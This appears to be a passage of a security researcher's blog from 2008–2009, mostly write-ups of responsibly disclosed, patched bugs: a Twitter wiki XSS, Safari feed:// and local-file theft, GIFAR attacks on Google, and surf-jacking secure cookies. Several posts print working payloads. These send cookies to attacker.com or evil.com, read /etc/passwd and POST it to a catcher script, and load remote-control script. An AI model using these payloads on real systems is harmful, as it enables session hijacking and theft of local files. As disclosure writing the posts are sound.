3:  Now that my payload is ready I now need to find a way to call the JavaScript after the hash character, but without any periods.  The JavaScript I want to execute is:  eval(document.location.hash.substr(1));  This would eval all the JavaScript following the hash mark.  Fortunately for us, everything in JavaScript is a property of an object and can be referenced in a couple ways (for the most part).  For example, the location property belongs to the document object.  The most common way to access the location property is to call document.location, but you can also access it by calling document[‘location’].  This can be done for any property and even functions, so our injected string without periods is:
eval(document['location']['hash']['substr'](1))

(kuza’s eval(window[‘name’]) should also work here)

The final URL looked like this:
http://apiwiki.twitter.com/sdiff.php?first=FrontPage&second=--%3E%3Cbody%20onload=javascript: eval(document['location']['hash']['substr'](1))%3E.php# var stolencookies=escape(document.cookie);var domain=escape(document.location);var myImage=new Image();myImage.src=”http://attacker.com/catcher.php?domain=”+domain+”&cookie=”+ stolencookies

I reported the bug to the Twitter security team and they addressed it in a timely manner.  It was a pleasure working with them.

Monday, June 8, 2009

Safari 3.2.2 Feed Protocol Handler Issues

A few weeks ago, Apple released a patch for their Safari browser.  The patch included a fix for a RSS feed handling vulnerability I had reported to them a while back.  The advisory can be found here.  This particular vulnerability is actually a variation of a previous RSS feed handling vulnerability I had reported to Apple earlier in the year.  The details of the original vulnerability can be found here.  Once PoC for the original bug was made public, a researcher named Alfredo Melloni contacted me about some additional weaknesses in Safari's feed handling.  Here’s what we ended up with:

Safari can consume various RSS feeds for video content and music from iTunes.  These RSS feeds contained information for each item on iTunes  including ID, title, summary, and links to download the content.  The RSS feed file looked something like this:
<?xml version="1.0" encoding="utf-8"?>

<entry>
<updated>2009-02-16T05:17:15-07:00</updated>
<id>http://itunes.apple.com/WebObjects/MZStore.woa/wa/viewTVSeason?i=305318825&amp;id=287463411&amp;s=143441</id>
<title>No Exit - Battlestar Galactica (&#39;04)</title>
<summary>On the Cylon baseship, Cavil confronts the last member of the Final Five.</summary>
<im:name>No Exit</im:name>
<link rel="alternate" type="text/html" href="http://www.google.com" />
<im:contentType term="TV Show" label="TV Show"><im:contentType term="TV Episode" label="TV Episode"/></im:contentType>
<category term="Sci Fi &amp; Fantasy" scheme="scheme"/>

</entry>
</feed>

Safari has some routines to sanitize and encode data in order to prevent the execution of user controlled JavaScript under the feed:// protocol handler.  As you may remember from my previous post, JavaScript executed under the feed protocol handler is privileged and is granted access to the local file system.   Alfredo discovered a way to bypass the built in filters for the feed protocol handler, allowing us to inject user controlled JavaScript.  The specific issue here involves the attacker controlled content provided to the "Summary" tags within the RSS feed file.  It seems that the content provided to the summary tag was missed by the encoding routines built into Safari.  We simply place Script tags within the summary tags and serve the file from our own server.


<title>No Exit - Battlestar Galactica (&#39;04)</title>
<summary>On the Cylon baseship, Cavil confronts the last member of the Final Five.<script>alert(1)</script></summary>
<im:name>No Exit</im:name>

Which is converted to HTML by Safari and rendered under feed://  as:

<div class="apple-rss-author" title="iTunes Store">iTunes Store</div>

<div class="apple-rss-summary" >On the Cylon baseship, Cavil confronts the last member of the Final Five.<script>alert(1)</script></div>

<div class="apple-rss-date" title="Feb 16, 4:17 AM">Feb 16, 4:17 AM</div>

Since alert boxes are lame, below is a payload to steal the /etc/passwd file from a Mac running vulnerable versions of Safari (<3.2.2):
<summary>On the Cylon baseship, Cavil confronts the last member of the Final Five.
<script>
var contents;
var req;
req = new XMLHttpRequest();
req.onreadystatechange = processReqChange;
req.open('GET', 'file:///etc/passwd', true);
req.send('');

function processReqChange() {
if (req.readyState == 4) {
contents = req.responseText;
sendit2XSSniper(contents);
}
}
function sendit2XSSniper(stuff){
var req2;
req2 = new XMLHttpRequest();
req2.open('POST', 'http://xs-sniper.com/sniperscope/catcher.php', true);
req2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
req2.send('filename=etcpasswd&filecontents='+escape(stuff));
}
</script>
</summary>

This flaw affected Safari 3.2.2 and certain versions of Safari 4 Beta.  Both Windows and Mac systems were affected.  Proof of concept can be found here (PoC, displays /etc/passwd or boot.ini in an alert box).  On Windows systems, the encoding and sanitization routines for feed:// are held in pubsub.dll :)  Happy hunting!

BK

Monday, March 30, 2009

Catching Up!

Whew!  It’s been a busy couple of months for me.  I’m always curious as to how I get so much on my plate.  A quick recap of some of the stuff I’ve been working on / or have coming in the near future:


 


1)      HITB Dubai is almost here!  I’ve been selected to give two talks at HITB in Dubai.  Although I’ve spent a significant amount of time in various parts of the Middle East, but I’ve never actually been to Dubai.  Dhillon is always an EXCELLENT host and I’m looking forward to seeing the sights .  As for the talks I’ll be giving in Dubai, the first (Biting the Hand that Feeds You – Reloaded) is an extension of a talk Nate McFeters and I gave at Defcon 15.  It involves a lot of interesting application design scenarios that introduce security weaknesses in modern day web applications.  It’s a very interesting collection of Content Ownership issues, some funky ways to abuse web application sessions, and a demo of some attacks against modern day web applications including Twitter and Facebook (respective security teams have already notified).  For the second talk (Cross Domain Leakiness), I’ll be co-presenting with Chris Evans from Google.  Chris is a super sharp guy and we’ll be talking about some interesting browser bugs we’ve discovered, as well as some techniques to bypass SSL protection mechanisms.  I’m also looking forward to seeing Nitesh Dhanjani’s talk (Psychotronica).  I’ve seen a sneak preview of the talk and it’s a very powerful illustration of how we can piece together people’s lives like jigsaw puzzles, learning more about them then they probably know about themselves!


 


2)      Jeff Carr put out the second paper in the Grey Goose Series (first paper here, second paper here).  Contact Jeff directly if you are interested in getting a GOVT only version of the papers.  Jeff has assembled a crack team of intelligence specialists (many of which wish to remain anonymous), pulling together an impressive cyber intelligence capability that probably rivals some state sponsored intelligence agencies.  The team is small enough to allow for lighting fast action without bureaucracy, but just large enough to bring an impressive intelligence eye to modern day problems.  Jeff focuses on analysis related to politically motivated events around the world.  I’m proud to be a part of the Grey Goose team, it is exciting work and perfectly in line with my background.  Jeff and I will be traveling to Estonia in June to speak at the Conference on Cyber Warfare hosted by the NATO Cooperative Cyber Defence Centre of Excellence.  We’ll be presenting a talk entitled “Sun Tzu was a Hacker” where we’ll break down the various tactics and operations associated with a real work attack against State servers.  We’ll tie the various pieces back to traditional tactics/warfare via concepts of Maneuver Warfare and Marine Corps Doctrinal Publication – 1 (Warfighting).


 


3)      My studies as an MBA student continue.  Once I finish this semester, I’ll have two classes left.  I'm currently taking a Finance class which is planting all sorts of great ideas on how to valuate risk associated with information systems.  I think it’s great that Security Researchers are seeing the value of bugs in both monetary instruments and non monetary instruments (press, notoriety…etc).  I see things like the No More Free Bugs (NMFB) campaign as financial declarations that a Security Researchers’ time/efforts/intelligence/creativity/determination is worth > $0.00.  It will be interesting to see how the next generation of security researchers/hackers will view the disclosure/NMFB paradigm and whether places like iDefense and TippingPoint will rise to “power” (if they haven’t already) as vulnerability brokers.  Maybe one day, we’ll track vulnerability worth via stock ticker, trying to game when to sell.  I’m also interested to see whether web application bugs will ever have financial value that can be easily monetized.  How much is a Gmail XSS or CSRF worth?  Are there ways to monetize?


 


4)      I’m co-authoring a book… more on this later


 


5)      I’ve started a really cool project at work that will consume lots of time...


 


6)      Oh yeah…. I have a ~3 month old baby girl that demands all my free time J


 


Where does the time go?!?!

Friday, February 13, 2009

Stealing More Files with Safari

Apple recently patched a vulnerability in Safari’s RSS feed handling mechanisms I reported to them.  The advisory for Safari on OS X can be found here and the Safari for Windows advisory can be found here.  As always, Apple was excellent in their handling of the issue.  Two other researchers reported this same vulnerability to Apple (Clint Ruoho of Laconic Security and Brian Mastenbrook). Clint or Brian, let me know if either of you are planning on attending CanSec this year, I'll buy you guys a couple beers.

Both Safari for OS X and Windows platforms were affected by this vulnerability (my precious iPhone was not affected). The vulnerability ultimately resulted in Remote Command Execution for both systems, making it a serious/critical issue for Safari users. There may be a technique to reach this vulnerability if you’re using a different browser on OS X, so even if Safari isn’t your default browser on OS X, I would recommend you grab the patch anyway :)

When I reported this issue to Apple, I reported it as a “File Stealing” vulnerability, which gave a remote attacker the ability to steal arbitrary files off the user’s file system. So, if you were using Safari and browsed to the wrong page (or fell victim to an XSS attack), an attacker had the ability to steal all of files from your local file system… ouch! Since the issue is patched, let’s look at how an attacker could steal some files using Safari… (RCE will be left as an exercise for the reader)

First, let’s take a look at Safari’s RSS feed handling mechanisms. Safari for both OS X and Windows supports the handling of RSS files through the Feed:// protocol handler. For example, if you wanted to view the feed for this blog in Safari, you could simply enter the following into the address bar:

feed://http://xs-sniper.com/blog/feed/

Feeds in Safari

RSS files are basically XML files that contain content that can be rendered by RSS readers.  In this case, the attacker controls the entire XML file. The XML file I started with followed the standard used by most blogs. The most interesting XML tags were the tags that held blog post content:
<content:encoded><![CDATA[ .... ></content:encoded>

It seems that Apple understood the dangers of taking in and rendering un-trusted RSS feeds and actually implemented a filtering routine in an attempt to filter dangerous content. In my attempts to defeat the filtering routine, I tried several different payload combinations, most of which were focused on the “content:encoded” tag; some of my payloads were HTML encoded before being displayed in the browser, other combinations resulted in tags and characters being stripped out completely. Eventually, I discovered a combination that would allow for the execution of script in the context of feed://
<content:encoded><![CDATA[
<body src=”http://xs-sniper.com/images/React-Team-Leader.JPG” onload=”javascript:alert('xss’);”“<onload=””
]]>
</content:encoded>



Which resulted in the following being rendered by Safari:


.
<div class="apple-rss-article-body">
<body src=”http://xs-sniper.com/images/React-Team-Leader.JPG” onload=”javascript:alert(‘xss’);”>
<onload></onload>

</body>
<!-- end articlebody --></div
….

As you can see, Safari's filtering routines have stripped out some characters and added some characters as well.  Despite the filtering, the HTML is valid and we now have script execution in the context of feed://.  Safari grants script executed within the context of feed:// access to the local file system, so from here I changed the “alert(‘xss’);” to an XMLHTTPRequest Object.
<body src="http://xs-sniper.com/images/React-Team-Leader.JPG" onload="javascript:alert('loading /etc/passwd into javascript');var req;req = new XMLHttpRequest();req.onreadystatechange = processReqChange;req.open('GET', 'file:////etc/passwd', true);req.send('');function processReqChange() {if (req.readyState == 4) {alert(req.responseText); }}" <onload=""

Proof of concept can be found here.

http://xs-sniper.com/sniperscope/Safari/feed-protocol/feed-sploit.php

The php script scans the UserAgent and determines whether you are using Safari on Windows or Safari on Mac OS X. If you happen to be on Mac OS X, the PoC will displays your /etc/passwd file in a JavaScript alert box. If you are on a Windows machine the PoC will display c:\windows\win.ini in a JavaScript alert box. Once the file contents are placed into a JavaScript object, getting the file contents back to the attacker is easily accomplished.  For large files, an attacker can even use a dynamically generated FORM and POST the contents back to the attacker server. An attacker could also use this vulnerability to establish a dynamic remote control channel by injecting a "<script src=http://XS-Sniper's-IP-Address/dynamic.js>" (XS-Sniper is the name of my XSS proxy), giving the attacker more control over the JavaScript executed by the victim.

I'm very interested in vulnerabilities like this.  We (the security industry) have developed an extensive toolset to detect memory access violations, but we're lacking in tools to detect boundary violations of this sort.  Memory corruption (IMHO) remains the holy grail of exploitation, but as memory corruption vulnerabilities become increasing difficult to exploit, it may be beneficial to develop tools and techniques to detect boundary violations such as this one.

Tuesday, December 16, 2008

SUN Fixes GIFARs

Last week, Sun released a patch for a vulnerability I reported to them.  The patch I’m talking about fixes the “GIFAR” issue.  I was unable to speak on the issue at Black Hat (for various reasons), but Nate McFeters did a great job of presenting the concept of GIFARs at Black Hat USA along with a simple example of how an attacker could use a GIFAR in an attack.  Now that the issue has been patched, I’d like to cover some of the things related to “GIFARs” that I thought were interesting (including a few items that were not mentioned at Black Hat).

Before we begin, I’d like to thanks Chok Poh from Sun’s Security team.  Chok was vital in fixing the GIFAR issue.  This patch required some significant thought as to how to best handle this issue.  Chok was very responsive and was smart enough to understand the impact of the unusual issue.  I’d also like to thank the Google Security team.  Google was our “guinea pig” for testing some of the pieces related to GIFARs and despite having to redesign some of their application behavior, they were gracious and very worked diligently to protect their users.  Now, on to the show!

As shown by Nate at Black Hat, creating the GIFAR is simple, we simply use the “copy” command on Windows or the “cat” command on *nix.  There are a few different places that talk about this technique (pdp has a great write up), but I first learned of the technique from Lifehacker.com in this post.  Once the GIFAR is created, we examine the file in a HEX editor.  The header of the file looks something like this:

header

The footer looks something like this:

Footer

We now have a file that is both a valid GIF and valid Java JAR.  We now upload our GIFAR to our victim domain (in this case Google’s Picasa Web).  Google attempts to ensure the file is a valid GIF (which it is) and takes ownership of the GIFAR on their domain.  Once Google has taken ownership of the GIFAR, I can reference the applet on my attacking page via the APPLET tag.  I think the items above were well covered at Black Hat and it is these concepts that represent the essence of a generic GIFAR attack… but Google is smart and they understood the dangers of insecure content ownership before GIFAR, so let’s looks at how we bypassed these Google specific protections.

When we first examined the GIFAR we uploaded to Picasa Web, it wasn’t actually served from the google.com domain.  The actual domain it was served from lh4.ggpht.com.  Below is a screenshot of the domain Google was using to serve the user supplied images.

Google Alias

After some investigation, we realized that ggpht.com was actually an alias for google.com.  So, we could manually change our request from lh4.ggpht.com to lh4.google.com.

lh4.google.com

Bingo!  Now we are on a google.com domain!  From here, a lot of attackers begin to think “Java has raw sockets…”.  It’s one of the first avenues we approached, but we quickly discovered that raw sockets aren’t as useful as other techniques.  Instead of raw sockets, we chose to use Java’s HTTPUrlConnection object.  We chose the HTTPUrlConnection object for two very good reasons.  The first reason is HTTPUrlConnection uses the browsers cookies when making request to domains.  So, if our applet is stored on lh4.google.com and the user is signed into Google, we get to piggy back off the victim’s cookies.  We’ll get to the second reason here in a bit.

httpurlconnection1

Now, even though we are now on the google.com domain, we still have a problem.  The Java Same Origin Policy allows the applet to connect back to the domain that served the applet (I’ve covered this behavior before in previous posts).  Considering the applet was served from lh4.google.com, the attacker is allowed to use the applet to connect back to lh4.google.com and only lh4.google.com.  The problem here is lh4.google.com doesn’t store anything interesting.  This problem leads us to the second reason we chose the HTTPUrlConnection object.

Java’s HTTPUrlConnection object has a method named “setRequestProperty”.  Using setRequestProperty we can set arbitrary HTTP headers for our GET and POST requests.  We use the setRequestProperty to set the HOST header for the HTTP request, allowing us to “jump” from the lh4.google.com domain to any other google.com sub domain.  As a simple example, I had discovered a contact list at http://groups-beta.google.com/groups/profile/contacts?out=&max=500 (Google has removed this contact list).  I set the URL object passed to the HTTPUrlConnection object to http://lh4.google.com/groups/profile/contacts?out=&max=500.  I also set the HOST header to groups-beta.google.com.

host

When the request is made, Java checks the value of the URL object to ensure the Same Origin Policy is enforced.  Since the domain of the URL object is lh4.google.com, everything checks out and Java lets the request through.  Once Google receives the request, it checks the HOST header to determine where the resource should be served from.  The HOST header specifies that the resource should be served from groups-beta.google.com, so despite the fact that the URL points to lh4.google.com, Google serves the contact list from groups-beta.google.com.  In this example, I stole a user’s contact list but it could have been any content from a number of Google sub domains.

All your contacts are belong to us

It’s easy to blame Java (Sun) for this issue.  After all, it was their JRE that had a relaxed Jar parsing criterion which allowed GIFARs to be passed as Jars.  In many respects some blame could be placed on Sun, but in my opinion (as humble as it is), this is ultimately a web application issue.  When a web application chooses to take ownership of a user controlled file and serves it from their domain, it weakens the integrity of the domain.  This isn’t the first time an image was repurposed like this, IE has had MIME sniffing issues with images, Flash had crossdomain.xml issues with images, and now we have GIFARs.  The impact of these attacks could have been minimized if web applications that took user controlled files served those files from a “throw away” domain.  As an application developer, you can prevent these types of attacks in the future by using a separate domain for user influenced files.

Tuesday, November 18, 2008

Stealing Files with Safari

Apple recently patched a vulnerability Nitesh "Leisure Suit" Dhanjani and I reported to them last week (CVE-2008-4216).  We had reported a similar vulnerability to Apple about two months ago (CVE-2008-3638).  In fact, the exploitation technique was so similar we held off releasing details until this 2nd patch was released.

The basic gist of this vulnerability pits a browser and a browser plug-in against each other in order to cross a subtle, but important boundary.  The issue starts simply enough with a victim visiting an attackers webpage.  Once on the attacker’s webpage, the attacker simply loads a Java Applet.  Inside of the applet is a call to getAppletContext().showDocument(URL);



getAppletContext().showDocument(URL) basically has the browser open a new browser window with the URL passed to showDocument().  Normally, browsers will not let remote sites open new browser windows which point to local files.  It seemed that Safari had some issues determining the specific  “rights” for windows opened via Java Applets and allowed getAppletContext().showDocument() to force the browser to open a file from the user’s local file system. 

Now here is where things get interesting…  Opening a local file in the browser isn’t very useful unless we can open and render/execute content that we control.  There are a couple ways plant our content in a predictable location using Safari.  Safari, by default has a reasonably predictable location for cached/temporary files.  We can use these predictable locations to load our content, we’ll have some guessing to do, but it works…  Safari can also be forced to dump user controlled contents to the “c:\temp” directory (in Windows, of course), which makes thing far more predictable making the attack a lot less noisy.  I’m not sure if Apple considers the “c:\temp” issue a bug, but just in case they do I won’t go over the details for the “c:\temp” trick just yet.

In case you’re wondering, Internet Explorer and FireFox use a random, 8 character directory name to prevent guessing of temporary file locations.

Once we’ve planted our contents to a predictable location, it’s now simply a matter of having the Java Applet call the file we’ve planted.  We have unlimited guesses to get the location and file name right, but the more guesses the more noisy the attack (obviously).  The file we’ve planted is an HTML file which loads an XMLHTTP object, which is used to steal files from the local file system.  You can include a <script src=”http://attacker-server/remote-control.js></script> if you want to remotely control the script running on the local file system.  Safari allows script to be executed from local files without warning, so once we get the right location and filename for our planted HTML file, files can be stolen off the local file system without user interaction or warnings.



Internet Explorer presents a warning before executing script from local files and FireFox (as of FireFox3) restricts XMLHTTP loaded from the local file system to the directory the html file was loaded from (and  any subdirectories).



Once we have the contents of the file in JavaScript space, we simple encode the contents and POST the contents to our attacker web server.  There you go... Stealing Files with Safari!

Pwnichiwa from PacSec!

WOW, it’s been a busy couple of weeks!  I was in Tokyo last week for PacSec.  PacSec was a great time, there were some GREAT talks, and Dragos knows how to party!  I co-presented a talk entitled “Cross-Domain Leakiness: Divulging Sensitive Information and Attacking SSL Sessions” with Chris Evans from Google.  I’m curious if this was the first time in history a Google Guy and a Microsoft Guy got on stage together and talked about security...  Anyway, you can find the slides here:

Chris is a super smart guy and demo’d a ton of browser bugs, most of which he will eventually discuss on his blog (which you should check out).  I had a chance to demo a few bugs and went over some techniques to steal Secure Cookies over SSL connections for popular sites.  Now, before I get into the details of the Safari File Stealing bug that was recently patched (provided in the next post) I did want to talk a bit about WebKit.

<WARNING Non-Technical Content Follows!>

You were warned!  Some friends and I have been playing around with Safari (we've got a couple bugs in the pipeline).  As everyone knows, Safari is based on the WebKit browser engine.  I think WebKit is a great browser engine and apparently so does Google because they use it for their Google Chrome.  So, once I discover and report a vulnerability in Safari for the Windows, Apple must also check Safari for Mac, and Safari Mobile for iPhone.  Additionally, “someone” should probably let Google know as their Chrome browser also takes a dependency on WebKit.  Now, who is this “someone”?   Is it the researcher?  Is it Apple?  Does the researcher have a responsibility to check to ensure this vulnerability doesn’t affect Chrome?  Does Apple have a responsibility to give Google the details of a vulnerability reported to them?  Our situation works today because we’ve got great people working for Apple and Google (like Aaron and Chris) who have the means to cooperate and work for the greater good.  However, as security moves higher and higher on the marketing scorecards and becomes more and more of a “competitive advantage” at what point will goodwill stop and the business sense take over?

Let’s contemplate a scenario that isn't so black and white…  Let’s say two vendors both take a dependency on WebKit.  An issue is discovered, but the differences in the two browsers make it so that the implementation for the fix is different.  Vendor A has a patch ready to go, Vendor B on the other hand has a more extensive problem and needs a few more days/weeks/months.  Should Vendor A wait for Vendor B to complete their patch process before protecting their own customers and pushing patches for their own products?

Let’s flip the scenario… Let’s say Vendor A has a vulnerability reported to them.  Vendor A determines that the issue is actually in WebKit.  Vendor A contacts Vendor B and discovers that Vendor B isn’t affected… does this mean Vendor B knew about issue, fixed the issue, and didn’t tell Vendor A?  Do they have a responsibility to?

Tuesday, October 21, 2008

House Keeping

It’s been a crazy couple weeks! Some quick housekeeping:

ChicagoCon – I’ll be in Chi-Town next week giving one of the Keynotes at ChicagoCon. If you’re going to be in the area, hit me up and we’ll grab a few drinks.

Bluehat - I’m glad to see all the young blood in the scene. It’s going to be scary to see what Kuza55 and Sirdarckcat are up to in 10/15 years (they’re already tearing stuff up as it is…). As for us old guys, we can’t drink like we used too… but we still try :)  As usual, the Bluehat parties ROCKED and it was great meeting everyone.  We topped off all the Bluehat debauchery with a night at the shooting range, shooting AR-15s and various handguns…

MBA - I actually took a Midterm during the WAF discussion panel at Bluehat (no wonder I was soooo quiet). Once this class is over, I’ll have 3 more classes to go and I’ll have completed my MBA! The coursework isn’t too bad, but the time commitment is pretty high. It definitely cuts into my “pwnage time” and I can’t wait till it’s all over. Don’t ask me why I need another Masters degree and don’t ask me how many times I’ve XSS’d my online class discussion forums. I promise to practice responsible disclosure after my classes are over... but for now, its the only thing that keeps class bearable :)

Grey Goose - This was an AWESOME project and I’m glad Jeff Carr asked me to participate. Jeff basically assembled enough Intel brain power to rival an Intel agency of a small country. Jeff put out a couple reports and if you need more info on the project, you can find it here. I studied warfare as an Officer in the Marine Corps (Maneuver and Expeditionary) and I'm interested in anything related to cyber warfare. We’re living in a time when the tactical, operational, and strategic thinking surrounding cyber warfare is being defined.  We can already see striking similarities between cyber capabilities and air power. Just as air power added a new dimension to modern warfare, so do cyber capabilities. Many typically view Computer Network Attack (CNA) and Computer Network Exploitation (CNE) as solitary events, but they can also be used in “combined arms” scenarios (much like targeted air strikes vs close air support).  One day doctrine related to cyber warfare will be required reading for young military officers, just like Sun-tzu, Clausewitz, and Jomini.

Apple Pwnage – Nitesh and I reported a vulnerability to Apple (CVE-ID: CVE-2008-3638). I’ll go over the details on the blog as soon as some loose ends get tied up.

Win7 – I finally took the advice of Rob Hensing and Dave Weston and switched to Win7 as my primary OS…. So far, it absolutely ROCKS.

Great talk by a respected haxor....http://video.google.com/videoplay?docid=-1012125050474412771&hl=en

Tuesday, September 23, 2008

Surf Jacking Secure Cookies

I was thinking back to Sandro’s paper on Surf Jacking and I realized that there was one small caveat where the “Secure” flag wouldn’t protect your cookies from Surf Jacking…

The Side Jacking and Surf Jacking techniques basically stipulate that the attacker has to be on the same network segment as the victim (you have to be able to sniff the traffic in order to see the cookie go by on the network)… So I’ll stipulate the same.

Say I go to https://xs-sniper.com and xs-sniper.com sets a cookie, but sets it with the “Secure” flag.  An attacker could eventually force my browser to load a non-secure version of xs-sniper.com (http://xs-sniper.com) in an attempt to force my session cookie to travel in the clear so they can sniff the cookie as it goes by (this is a simplified description of Surf Jacking).  Now, if all my cookies are set secure, my cookies won’t travel over the wire in the clear…  I’m safe… right?

Not so fast…  If application sets all the cookies with the secure flag, BUT the web application also has a “script src” tag pointing to an insecure location (http://) then you can STILL STEAL THE COOKIE, even if its marked secure.   Let me explain…

If an attacker is on the same network segment as you, not only can they sniff clear text data (http://) they can also INJECT data as it traverses the network.   Let’s say I have a page on xs-sniper.com that does analytics for my web application.  We’ll name this page http://xs-sniper.com/analytics.html.  This page is meant to be served as http:// and contains no sensitive data, but if a user makes a direct request for https://xs-sniper.com/analytics.html the page is still served.  Inside of the page’s HTML is a script src tag that looks something like this:


<script src="http://myanalytics.com/webbugs.js"></script>


Now, using the surf jack technique, Sandro redirected the victim to an http:// version of the targeted site.  In our case, redirecting to an insecure version of the site doesn’t help us as all the cookies are set SECURE.  Instead, we’ll redirect to an https:// page on our victim domain that contains an insecure script src tag like the one shown above (https://xs-sniper.com/analytics.html).  Once we see the request for the insecure javascript file (webbugs.js) file, we can inject our own javascript cookie stealing payload (as the script src request is made in the clear):


CookiesStealer = new Image();

CookiesStealer.src = “http://www.evil.com/stealer.jpg?”+document.cookie;


The injected script is executed by the page that loaded it and gives up the cookies for the domain, even if they are marked secure.  There you go… Secure cookies stolen.

Without warning or prompt, every browser I tested allowed an https:// page to load a script src from an insecure http:// location.  Ok... I lied... every browser EXCEPT ONE... can you guess which lonely browser provided a warning before allowing an https:// page to load a script from an http:// location?  You can find the answer here.  For those of you in disbelief, you can test your favorite browser(s) here.

SIDENOTE: HTTP pages that call document.cookie will NOT have access to SECURE cookies… well at least in the browsers that I checked... that's pretty cool...

CLARIFICATION ON SIDENOTE: From my tests (which only covered a few browsers) it seems that the document.cookie object called from an http:// page WILL NOT contain secure cookies (this is a GOOD thing). So, if I were able to inject a full http:// page and called document.cookie, the secure cookie would be missing. This is why I needed to call an https:// page with a script src that loaded an insecure script file.